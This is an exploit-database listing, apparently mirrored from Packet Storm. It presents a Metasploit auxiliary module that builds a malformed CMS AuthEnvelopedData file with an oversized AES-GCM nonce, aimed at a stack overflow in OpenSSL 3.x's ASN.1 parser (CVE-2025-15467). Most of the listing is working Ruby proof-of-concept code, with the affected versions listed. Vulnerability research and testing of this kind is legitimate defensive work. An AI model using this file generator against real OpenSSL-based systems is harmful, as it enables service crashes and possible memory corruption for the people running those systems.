Lucene search
K

📄 OpenSSL 3.x ASN.1 AES‑GCM Nonce Stack Corruption

🗓️ 29 Jan 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 156 Views

This module tests a stack overflow in OpenSSL's ASN.1 parser from oversized AES-GCM nonces in CMS.

Related
Code
=============================================================================================================================================
    | # Title     : OpenSSL 3.x ASN.1 AES‑GCM Nonce Stack Corruption via CMS AuthEnvelopedData                                                  |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.openssl-library.org/                                                                                            |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/214422/ & CVE‑2025‑15467
    
    [+] Summary    :  This Metasploit auxiliary module generates a specially crafted CMS file encoded in DER format to test a stack-based buffer overflow vulnerability in OpenSSL’s ASN.1 
                      parser related to improper handling of oversized AES-GCM nonce (IV) values within AES-GCM-Parameters as defined in RFC 5084. 
                      The malformed structure is embedded inside a valid-looking AuthEnvelopedData CMS container (RFC 5083), 
    				  allowing the file to pass basic structural validation while triggering memory corruption during decoding.
                      The issue affects multiple OpenSSL 3.x branches, including versions 3.0.x prior to 3.0.19, 3.3.x prior to 3.3.6, 
    				  3.4.x prior to 3.4.4, 3.5.x prior to 3.5.5, and 3.6.0 prior to 3.6.1, when parsing untrusted CMS data. 
    				  Successful triggering may result in stack corruption and application crash, with potential security impact depending on the execution context.
    
    [+] POC :
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::FILEFORMAT
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'OpenSSL ASN.1 Parser Stack Corruption Test Generator (CVE-2025-15467)',
          'Description'    => %q{
            This module generates a CMS file in DER format that simulates an AuthEnvelopedData 
            structure according to RFC 5084. It is designed to test for a stack-based buffer 
            overflow vulnerability during the ASN.1 decoding process, specifically when 
            handling oversized Nonce (IV) lengths within the AES-GCM-Parameters structure.
          },
          'Author'         => [ 'indoushka' ],
          'License'        => MSF_LICENSE,
          'References'     => [
            ['CVE', '2025-15467'],
            ['RFC', '5084'],
            ['RFC', '5083']
          ],
          'Notes'          => {
            'Stability'   => [CRASH_SERVICE_DOWN],
            'Reliability' => [LOW_RELIABILITY]
          }
        ))
    
        register_options([
          OptString.new('FILENAME', [ true, 'The output file name.', 'openssl_test.cms']),
          OptInt.new('IV_SIZE', [ true, 'The size of the malicious Nonce to trigger stack overwrite.', 2048])
        ])
      end
      def der_encode(tag, data)
        len = data.length
        if len < 128
          tag + [len].pack('C') + data
        else
          len_str = [len].pack('N').sub(/^(\x00)+/, '')
          tag + [0x80 | len_str.length].pack('C') + len_str + data
        end
      end
    
      def build_cms_structure
        iv_len = datastore['IV_SIZE']
        nonce = der_encode("\x04", "A" * iv_len)
        gcm_params = der_encode("\x30", nonce)
        aes_gcm_oid = "\x06\x09\x60\x86\x48\x01\x65\x03\x04\x01\x2E"
        algo_id = der_encode("\x30", aes_gcm_oid + gcm_params)
        content_type_data = "\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x01"
        encrypted_content_info = der_encode("\x30", content_type_data + algo_id)
        auth_env_body = 
          "\x02\x01\x00" +           
          "\x31\x00" +              
          encrypted_content_info +   
          "\x04\x10" + ("B" * 16)    
        auth_env_oid = "\x06\x0B\x2A\x86\x48\x86\xF7\x0D\x01\x09\x10\x01\x17"
        explicit_content = der_encode("\xA0", auth_env_body)
        der_encode("\x30", auth_env_oid + explicit_content)
      end
    
      def run
        file_content = build_cms_structure
        file_create(file_content)
        print_good("Artifact created successfully for Stack Overwrite testing.")
        print_status("RFC 5084 compliant GCM parameters used with IV size: #{datastore['IV_SIZE']}")
      end
    end
    
    Greetings to :============================================================
    jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
    ==========================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jan 2026 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.19.8
EPSS0.02889
SSVC
156